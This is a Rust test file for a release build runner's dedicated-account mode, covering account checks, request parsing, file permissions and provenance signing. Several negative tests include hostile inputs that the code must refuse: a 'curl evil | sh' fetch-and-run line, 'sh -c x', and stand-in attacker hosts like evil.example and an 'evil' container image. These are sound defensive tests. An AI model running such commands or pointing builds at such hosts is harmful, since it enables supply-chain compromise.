crates/dwarves-slsa/tests/release_mode.rs
//! Release mode (lane RELBUILD-ACCT, owner 2026-10-29): the release runner runs as its
//! own account (`relbuild`) on dwarf's host, never as the lanes' account. It takes
//! requests from an inbox (data only: a release at pinned commits) and writes runs
//! only under its runs directory; the provenance names the account and the binary.
mod common;
use std::collections::BTreeMap;
use std::path::{Path, PathBuf};
use base64::engine::general_purpose::STANDARD as B64;
use base64::Engine as _;
use dwarves_slsa::dsse::{Envelope, Signature};
use dwarves_slsa::release_mode::{
check_account, check_binary_meta, check_runs_meta, parse_request, pending, read_request_file,
release_builder_version, run_dir_for, serve_once, Config, FileMeta, Identity, RequestState,
DEFAULT_CONFIG, DEFAULT_INBOX, DEFAULT_RUNS, LANES_ACCOUNT, RELEASE_ACCOUNT,
};
use dwarves_slsa::runner::{builder_version, DEFAULT_IMAGE};
use dwarves_slsa::spec::DEFAULT_FORGE;
use dwarves_slsa::statement::{self, Subject};
use dwarves_slsa::subjects::sha256_hex;
use dwarves_slsa::verify::{verify_bundle, Expect};
const HOLGER: &str = "87e5ada50ab5745464e4b46305bfd62d0460f52c";
const TUNNR: &str = "1111111111111111111111111111111111111111";
fn spec_toml(extra_top: &str) -> String {
format!(
r#"name = "holger-2.0.1"
image = "{DEFAULT_IMAGE}"
lock = ["holger/Cargo.toml"]
{extra_top}
[[repo]]
name = "holger"
org = "nordisk"
commit = "{HOLGER}"
[[repo]]
name = "tunnr"
org = "mikronova"
commit = "{TUNNR}"
[[crate]]
name = "holger-errcode"
version = "2.0.1"
repo = "holger"
path = "errcode"
"#
)
}
fn request(extra_top: &str) -> String {
let spec: String = spec_toml(extra_top)
.replace("[[repo]]", "[[spec.repo]]")
.replace("[[crate]]", "[[spec.crate]]");
format!("rebuild_published = false\n\n[spec]\n{spec}")
}
fn relbuild() -> Identity {
Identity {
uid: 990,
name: "relbuild".into(),
}
}
fn cfg() -> Config {
Config::parse(
r#"
org_forge = { mikronova = "ssh://git@git.gunnar.rs:2222" }
"#,
)
.unwrap()
}
#[test]
fn the_defaults_name_the_release_account_and_paths() {
assert_eq!(RELEASE_ACCOUNT, "relbuild");
assert_eq!(LANES_ACCOUNT, "rickard");
assert_eq!(DEFAULT_CONFIG, "/etc/dwarves-release/runner.toml");
let c = Config::parse("").unwrap();
assert_eq!(c.account, "relbuild");
assert_eq!(c.inbox, PathBuf::from(DEFAULT_INBOX));
assert_eq!(c.runs, PathBuf::from(DEFAULT_RUNS));
assert_eq!(DEFAULT_INBOX, "/srv/relbuild/inbox");
assert_eq!(DEFAULT_RUNS, "/srv/relbuild/runs");
assert_eq!(c.image, DEFAULT_IMAGE);
assert!(c.refuse_accounts.iter().any(|a| a == "rickard"));
assert_eq!(c.forge, "ssh://anonymous@git.gunnar.rs:2222");
// A typo in the runner's config is refused, not ignored.
assert!(Config::parse("acount = \"x\"").is_err());
}
#[test]
fn the_lanes_account_and_root_are_refused_in_release_mode() {
let c = cfg();
let e = check_account(
&c,
&Identity {
uid: 1001,
name: "rickard".into(),
},
)
.unwrap_err();
assert!(e.0.contains("rickard"), "{e}");
assert!(check_account(
&c,
&Identity {
uid: 0,
name: "root".into()
}
)
.is_err());
// uid 0 under another name is still root.
assert!(check_account(
&c,
&Identity {
uid: 0,
name: "relbuild".into()
}
)
.is_err());
// Any other account than the configured one is refused too.
let e = check_account(
&c,
&Identity {
uid: 1002,
name: "someone".into(),
},
)
.unwrap_err();
assert!(e.0.contains("relbuild"), "{e}");
check_account(&c, &relbuild()).unwrap();
// A config cannot make the lanes' account the release account.
let bad = Config::parse("account = \"rickard\"\nrefuse_accounts = []").unwrap();
assert!(check_account(
&bad,
&Identity {
uid: 1001,
name: "rickard".into()
}
)
.is_err());
}
#[test]
fn a_request_is_data_a_release_at_pinned_commits() {
let c = cfg();
let r = parse_request(request("").as_bytes(), &c).unwrap();
assert_eq!(r.spec.name, "holger-2.0.1");
assert!(!r.rebuild_published);
assert_eq!(r.spec.repo("holger").unwrap().commit, HOLGER);
// The runner's config decides where the sources come from, not the request.
assert_eq!(
r.spec.clone_url(r.spec.repo("holger").unwrap()),
"ssh://anonymous@git.gunnar.rs:2222/nordisk/holger.git"
);
assert_eq!(
r.spec.clone_url(r.spec.repo("tunnr").unwrap()),
"ssh://git@git.gunnar.rs:2222/mikronova/tunnr.git"
);
}
#[test]
fn a_request_cannot_choose_the_image_the_sources_or_add_anything() {
let c = cfg();
let other_image = request("").replace(
DEFAULT_IMAGE,
&format!("docker.io/evil@sha256:{}", common::hex64('e')),
);
let e = parse_request(other_image.as_bytes(), &c).unwrap_err();
assert!(e.0.contains("image"), "{e}");
let e = parse_request(
request("forge = \"ssh://git@evil.example:22\"").as_bytes(),
&c,
)
.unwrap_err();
assert!(e.0.contains("forge"), "{e}");
// Even the lanes' own forge: the runner's config decides.
assert!(parse_request(
request(&format!("forge = \"{DEFAULT_FORGE}\"")).as_bytes(),
&c
)
.is_ok());
let e = parse_request(request("web = \"https://evil.example\"").as_bytes(), &c).unwrap_err();
assert!(e.0.contains("web"), "{e}");
let e = parse_request(
request("forge_by_org = { nordisk = \"ssh://git@evil.example:22\" }").as_bytes(),
&c,
)
.unwrap_err();
assert!(e.0.contains("forge"), "{e}");
// No field for code: an unknown key is refused.
let code = format!("script = \"curl evil | sh\"\n{}", request(""));
assert!(parse_request(code.as_bytes(), &c).is_err());
let code = request("").replace("rebuild_published = false", "run = \"sh -c x\"");
assert!(parse_request(code.as_bytes(), &c).is_err());
// The spec's own rules still hold (a short commit is not a pin).
let short = request("").replace(HOLGER, "87e5ada5");
assert!(parse_request(short.as_bytes(), &c).is_err());
// Not text, or too big.
assert!(parse_request(&[0xff, 0xfe, 0x00], &c).is_err());
let big = format!(
"{}\n# {}\n",
request(""),
"x".repeat(c.max_request_bytes as usize)
);
assert!(parse_request(big.as_bytes(), &c).is_err());
}
#[test]
fn a_request_file_is_a_regular_file_never_a_link() {
let d = tempfile::tempdir().unwrap();
let f = d.path().join("holger-2.0.1.toml");
std::fs::write(&f, request("")).unwrap();
assert_eq!(
read_request_file(&f, 1 << 20).unwrap(),
request("").into_bytes()
);
let l = d.path().join("link.toml");
std::os::unix::fs::symlink(&f, &l).unwrap();
let e = read_request_file(&l, 1 << 20).unwrap_err();
assert!(e.0.contains("regular file"), "{e}");
let dir = d.path().join("dir.toml");
std::fs::create_dir(&dir).unwrap();
assert!(read_request_file(&dir, 1 << 20).is_err());
assert!(read_request_file(&f, 10).is_err());
}
#[test]
fn pending_requests_are_the_new_toml_files_of_the_inbox() {
let d = tempfile::tempdir().unwrap();
let inbox = d.path().join("inbox");
let runs = d.path().join("runs");
std::fs::create_dir_all(&inbox).unwrap();
std::fs::create_dir_all(runs.join("requests")).unwrap();
std::fs::write(inbox.join("b.toml"), "b").unwrap();
std::fs::write(inbox.join("a.toml"), "a").unwrap();
std::fs::write(inbox.join(".c.toml.tmp"), "c").unwrap();
std::fs::write(inbox.join(".d.toml"), "d").unwrap();
std::fs::write(inbox.join("e.txt"), "e").unwrap();
std::fs::write(inbox.join("f g.toml"), "f").unwrap();
let c = Config {
inbox: inbox.clone(),
runs: runs.clone(),
..cfg()
};
let p = pending(&c).unwrap();
let names: Vec<&str> = p
.iter()
.map(|x| x.file_name().unwrap().to_str().unwrap())
.collect();
assert_eq!(names, ["a.toml", "b.toml"]);
// A request whose bytes have a status is not taken again.
std::fs::write(
runs.join("requests")
.join(format!("{}.status", sha256_hex(b"a"))),
"state = \"done\"\n",
)
.unwrap();
let p = pending(&c).unwrap();
assert_eq!(p, vec![inbox.join("b.toml")]);
}
#[test]
fn a_run_directory_is_always_under_the_runs_directory() {
let c = cfg();
let r = parse_request(request("").as_bytes(), &c).unwrap();
let d = run_dir_for(&c, &r.spec, 1_793_275_200);
assert!(d.starts_with(DEFAULT_RUNS), "{}", d.display());
assert_eq!(d.parent().unwrap(), Path::new(DEFAULT_RUNS));
assert!(d
.file_name()
.unwrap()
.to_str()
.unwrap()
.starts_with("holger-2.0.1-"));
}
#[test]
fn the_binary_is_root_owned_read_only_and_the_installed_one() {
let h = common::hex64('a');
let c = Config {
binary: Some("/usr/local/lib/dwarves-release/dwarves".into()),
binary_sha256: Some(h.clone()),
..cfg()
};
let exe = Path::new("/usr/local/lib/dwarves-release/dwarves");
let ok = FileMeta {
uid: 0,
mode: 0o100755,
};
let dir = FileMeta {
uid: 0,
mode: 0o040755,
};
check_binary_meta(&c, exe, &ok, &dir, &h).unwrap();
let e = check_binary_meta(
&c,
exe,
&FileMeta {
uid: 1001,
mode: 0o100755,
},
&dir,
&h,
)
.unwrap_err();
assert!(e.0.contains("root"), "{e}");
assert!(check_binary_meta(
&c,
exe,
&FileMeta {
uid: 0,
mode: 0o100775
},
&dir,
&h
)
.is_err());
assert!(check_binary_meta(
&c,
exe,
&FileMeta {
uid: 0,
mode: 0o100757
},
&dir,
&h
)
.is_err());
assert!(check_binary_meta(
&c,
exe,
&ok,
&FileMeta {
uid: 1001,
mode: 0o040755
},
&h
)
.is_err());
assert!(check_binary_meta(
&c,
exe,
&ok,
&FileMeta {
uid: 0,
mode: 0o040777
},
&h
)
.is_err());
let e = check_binary_meta(&c, exe, &ok, &dir, &common::hex64('b')).unwrap_err();
assert!(e.0.contains("sha256"), "{e}");
let e =
check_binary_meta(&c, Path::new("/home/rickard/bin/dwarves"), &ok, &dir, &h).unwrap_err();
assert!(
e.0.contains("/usr/local/lib/dwarves-release/dwarves"),
"{e}"
);
// Release mode needs the binary named in its config.
let none = cfg();
assert!(check_binary_meta(&none, exe, &ok, &dir, &h).is_err());
}
#[test]
fn the_runs_directory_is_the_runners_and_nobody_elses_to_write() {
let id = relbuild();
check_runs_meta(
&id,
&FileMeta {
uid: 990,
mode: 0o040755,
},
)
.unwrap();
check_runs_meta(
&id,
&FileMeta {
uid: 990,
mode: 0o040750,
},
)
.unwrap();
assert!(check_runs_meta(
&id,
&FileMeta {
uid: 1001,
mode: 0o040755
}
)
.is_err());
assert!(check_runs_meta(
&id,
&FileMeta {
uid: 990,
mode: 0o040775
}
)
.is_err());
assert!(check_runs_meta(
&id,
&FileMeta {
uid: 990,
mode: 0o040757
}
)
.is_err());
assert!(check_runs_meta(
&id,
&FileMeta {
uid: 990,
mode: 0o100755
}
)
.is_err());
}
#[test]
fn the_builder_details_name_the_account_and_the_binary() {
// Every run names its account, so a lane-mode build says so too.
let lane = builder_version(
&BTreeMap::new(),
&common::hex64('a'),
Some(&Identity {
uid: 1001,
name: "rickard".into(),
}),
);
assert_eq!(lane["runnerAccount"], "rickard");
assert_eq!(lane["runnerUid"], "1001");
assert_eq!(lane["runnerSha256"], common::hex64('a'));
assert!(!lane.contains_key("releaseMode"));
// Release mode adds the mode, the installed binary and the request.
let c = Config {
binary: Some("/usr/local/lib/dwarves-release/dwarves".into()),
..cfg()
};
let mut base = BTreeMap::new();
base.insert("dwarves".to_string(), "0.1.9".to_string());
let extra = release_builder_version(&c, &relbuild(), &common::hex64('c'), &base);
let v = builder_version(&extra, &common::hex64('a'), Some(&relbuild()));
assert_eq!(v["runnerAccount"], "relbuild");
assert_eq!(v["runnerUid"], "990");
assert_eq!(v["releaseMode"], "dedicated-account");
assert_eq!(v["runnerBinary"], "/usr/local/lib/dwarves-release/dwarves");
assert_eq!(v["requestSha256"], common::hex64('c'));
assert_eq!(v["dwarves"], "0.1.9");
assert_eq!(v["runnerSha256"], common::hex64('a'));
}
fn signed(version: BTreeMap<String, String>) -> (common::TestKey, String) {
let k = common::key();
let mut p = common::provenance();
p.builder_version = version;
let st = statement::statement(&[Subject::sha256("bin/x", common::hex64('a'))], &p).unwrap();
let payload = statement::payload(&st);
let pae = dwarves_slsa::dsse::pae(statement::PAYLOAD_TYPE_INTOTO, &payload);
let sig = common::sign(&k, &pae);
let b = Envelope {
payload_type: statement::PAYLOAD_TYPE_INTOTO.into(),
payload: B64.encode(&payload),
signatures: vec![Signature {
keyid: dwarves_slsa::dsse::keyid(&k.spki),
sig: B64.encode(sig),
}],
}
.to_line();
(k, b)
}
#[test]
fn a_verifier_can_require_the_release_account() {
let mut v = BTreeMap::new();
v.insert("runnerAccount".to_string(), "relbuild".to_string());
let (k, b) = signed(v);
let want = Expect {
runner_account: Some("relbuild".into()),
..Expect::default()
};
verify_bundle(&b, &k.spki, &want).unwrap();
let mut v = BTreeMap::new();
v.insert("runnerAccount".to_string(), "rickard".to_string());
let (k, b) = signed(v);
let e = verify_bundle(&b, &k.spki, &want).unwrap_err();
assert!(e.0.contains("rickard"), "{e}");
// A statement from before release mode names no account: refused when one is required.
let (k, b) = signed(BTreeMap::new());
assert!(verify_bundle(&b, &k.spki, &want).is_err());
verify_bundle(&b, &k.spki, &Expect::default()).unwrap();
}
#[test]
fn serve_records_a_refused_request_and_builds_nothing() {
let d = tempfile::tempdir().unwrap();
let inbox = d.path().join("inbox");
let runs = d.path().join("runs");
std::fs::create_dir_all(&inbox).unwrap();
std::fs::create_dir_all(&runs).unwrap();
let bad = request("").replace(
DEFAULT_IMAGE,
&format!("docker.io/evil@sha256:{}", common::hex64('e')),
);
std::fs::write(inbox.join("evil.toml"), &bad).unwrap();
let c = Config {
inbox,
runs: runs.clone(),
..cfg()
};
let out = serve_once(&c, &relbuild(), &common::hex64('a'), &BTreeMap::new(), &NeverBuilds).unwrap();
assert_eq!(out.len(), 1);
assert!(
matches!(&out[0].state, RequestState::Refused(e) if e.contains("image")),
"{:?}",
out[0]
);
let sha = sha256_hex(bad.as_bytes());
let status =
std::fs::read_to_string(runs.join("requests").join(format!("{sha}.status"))).unwrap();
assert!(status.contains("refused"), "{status}");
// The request's bytes are kept beside its status; no run directory was made.
assert_eq!(
std::fs::read_to_string(runs.join("requests").join(format!("{sha}.request.toml"))).unwrap(),
bad
);
let dirs: Vec<_> = std::fs::read_dir(&runs)
.unwrap()
.map(|e| e.unwrap().file_name())
.collect();
assert_eq!(dirs, vec![std::ffi::OsString::from("requests")]);
// Taken once: a second pass does nothing.
assert!(
serve_once(&c, &relbuild(), &common::hex64('a'), &BTreeMap::new(), &NeverBuilds)
.unwrap()
.is_empty()
);
}
#[test]
fn release_mode_on_the_command_line_refuses_the_lanes_way_of_building() {
let d = tempfile::tempdir().unwrap();
let spec = d.path().join("spec.toml");
std::fs::write(&spec, spec_toml("")).unwrap();
let e = dwarves_slsa::cli::run(
vec![
"build".into(),
"--release-mode".into(),
"--spec".into(),
spec.display().to_string(),
],
&BTreeMap::new(),
dwarves_slsa::cli::Forge::default(),
)
.unwrap_err();
assert!(e.0.contains("serve") && e.0.contains("inbox"), "{e}");
// serve checks the account first: the test runs as a lanes' account, not relbuild.
let conf = d.path().join("runner.toml");
std::fs::write(
&conf,
format!(
"inbox = \"{0}/inbox\"\nruns = \"{0}/runs\"\nbinary = \"/usr/local/lib/dwarves-release/dwarves\"\n",
d.path().display()
),
)
.unwrap();
let e = dwarves_slsa::cli::run(
vec![
"serve".into(),
"--once".into(),
"--config".into(),
conf.display().to_string(),
],
&BTreeMap::new(),
dwarves_slsa::cli::Forge::default(),
)
.unwrap_err();
assert!(e.0.contains("relbuild"), "{e}");
let e = dwarves_slsa::cli::run(
vec![
"serve".into(),
"--check".into(),
"--config".into(),
conf.display().to_string(),
],
&BTreeMap::new(),
dwarves_slsa::cli::Forge::default(),
)
.unwrap_err();
assert!(e.0.contains("relbuild"), "{e}");
}
/// The forge's API as the CLI calls it: here straight into the library the server runs.
struct LocalApi(PathBuf);
impl dwarves_slsa::cli::ReleaseApi for LocalApi {
fn request(&self, r: &dwarves_slsa::release_mode::Request) -> dwarves_slsa::Result<String> {
let (id, sha) = dwarves_slsa::release_mode::queue_request(&self.0, r)?;
Ok(format!("queued {id} (request sha256 {sha})"))
}
fn show(&self, _: &str) -> dwarves_slsa::Result<String> {
unreachable!()
}
fn attach(&self, _: &str, _: &[u8]) -> dwarves_slsa::Result<String> {
unreachable!()
}
}
/// An executor that must never be reached.
struct NeverBuilds;
impl dwarves_slsa::runner::Executor for NeverBuilds {
fn execute(
&self,
_: &dwarves_runa::Pipeline,
_: std::sync::Arc<dwarves_slsa::runner::ReleaseRun>,
_: &str,
) -> dwarves_slsa::Result<dwarves_slsa::runner::RunRecord> {
panic!("nothing is built here")
}
}
#[test]
fn a_request_goes_through_the_forge_into_the_inbox_and_shows_as_queued() {
let d = tempfile::tempdir().unwrap();
let spec = d.path().join("spec.toml");
std::fs::write(&spec, spec_toml("")).unwrap();
let inbox = d.path().join("inbox");
std::fs::create_dir(&inbox).unwrap();
let argv = vec!["request".to_string(), "--spec".into(), spec.display().to_string()];
// without the forge's API the CLI writes nothing
let e = dwarves_slsa::cli::run(argv.clone(), &BTreeMap::new(), dwarves_slsa::cli::Forge::default()).unwrap_err();
assert!(e.0.contains("dwarves release-build request"), "{e}");
assert_eq!(std::fs::read_dir(&inbox).unwrap().count(), 0);
let api = LocalApi(inbox.clone());
let forge = dwarves_slsa::cli::Forge { api: Some(&api), ..Default::default() };
dwarves_slsa::cli::run(argv, &BTreeMap::new(), forge).unwrap();
let files: Vec<PathBuf> = std::fs::read_dir(&inbox)
.unwrap()
.map(|e| e.unwrap().path())
.collect();
assert_eq!(files.len(), 1, "{files:?}");
let name = files[0].file_name().unwrap().to_str().unwrap().to_string();
assert!(
name.starts_with("holger-2.0.1-") && name.ends_with(".toml"),
"{name}"
);
let bytes = std::fs::read(&files[0]).unwrap();
let r = parse_request(&bytes, &cfg()).unwrap();
assert_eq!(r.spec.name, "holger-2.0.1");
// the forge shows it, queued, under its run id, before the runner takes it
let runs = d.path().join("runs");
let v = dwarves_slsa::release_mode::release_views(&inbox, &runs);
assert_eq!(v.len(), 1);
assert_eq!(v[0].state, "queued");
let sha = sha256_hex(&bytes);
assert_eq!(v[0].run_id, format!("holger-2.0.1-{}", &sha[..12]));
assert_eq!(dwarves_slsa::release_mode::run_id_for("holger-2.0.1", &sha), v[0].run_id);
}
#[test]
fn a_signed_bundle_is_verified_by_the_forge_and_again_by_the_runner_before_the_run_is_signed() {
use dwarves_slsa::release_mode::{release_view, store_bundle, take_bundles_with};
let d = tempfile::tempdir().unwrap();
let inbox = d.path().join("inbox");
let runs = d.path().join("runs");
let run = runs.join("holger-2.0.1-20261029T120000Z");
std::fs::create_dir_all(&inbox).unwrap();
std::fs::create_dir_all(runs.join("requests")).unwrap();
std::fs::create_dir_all(run.join("out/crates")).unwrap();
std::fs::write(run.join("out/crates/holger-errcode-2.0.1.crate"), b"crate bytes").unwrap();
let subject = Subject::sha256("crates/holger-errcode-2.0.1.crate", sha256_hex(b"crate bytes"));
let st = statement::statement(&[subject], &common::provenance()).unwrap();
let payload = statement::payload(&st);
std::fs::write(run.join("release.statement.json"), &payload).unwrap();
let sha = common::hex64('c');
let id = format!("holger-2.0.1-{}", &sha[..12]);
std::fs::write(
runs.join("requests").join(format!("{sha}.status")),
format!(
"state = \"built\"\nrequest = \"r.toml\"\nrun_id = \"{id}\"\nrelease = \"holger-2.0.1\"\nrun = \"{}\"\nstatement = \"{}\"\nstatement_sha256 = \"{}\"\nat = \"2026-10-29T12:00:00Z\"\n",
run.display(),
run.join("release.statement.json").display(),
sha256_hex(&payload)
),
)
.unwrap();
let v = release_view(&inbox, &runs, &id).unwrap();
assert_eq!(v.state, "waiting for signature");
assert_eq!(v.artifacts, vec![("crates/holger-errcode-2.0.1.crate".to_string(), sha256_hex(b"crate bytes"))]);
let sign = v.sign.unwrap();
assert!(sign.contains("script-sign-release.sh") && sign.contains(&sha256_hex(&payload)), "{sign}");
// a bundle by another key is refused by the forge, and nothing is stored
let k = common::key();
let other = common::key();
let bad = bundle(&other, &payload);
assert!(store_bundle(&inbox, &runs, &id, bad.as_bytes(), &k.spki).is_err());
assert!(!inbox.join("bundles").exists());
// the owner's bundle is stored for the runner, which checks it again and signs the run
let good = bundle(&k, &payload);
store_bundle(&inbox, &runs, &id, good.as_bytes(), &k.spki).unwrap();
let c = Config { inbox: inbox.clone(), runs: runs.clone(), ..cfg() };
assert_eq!(take_bundles_with(&c, &k.spki, &mut |_| {}).unwrap(), 1);
assert_eq!(std::fs::read_to_string(run.join("release.intoto.jsonl")).unwrap(), good);
assert_eq!(release_view(&inbox, &runs, &id).unwrap().state, "signed");
// a signed run takes no second bundle
assert!(store_bundle(&inbox, &runs, &id, good.as_bytes(), &k.spki).is_err());
}
/// A one-line bundle over `payload`, signed by `k`.
fn bundle(k: &common::TestKey, payload: &[u8]) -> String {
let pae = dwarves_slsa::dsse::pae(statement::PAYLOAD_TYPE_INTOTO, payload);
let sig = common::sign(k, &pae);
Envelope {
payload_type: statement::PAYLOAD_TYPE_INTOTO.into(),
payload: B64.encode(payload),
signatures: vec![Signature {
keyid: dwarves_slsa::dsse::keyid(&k.spki),
sig: B64.encode(sig),
}],
}
.to_line()
}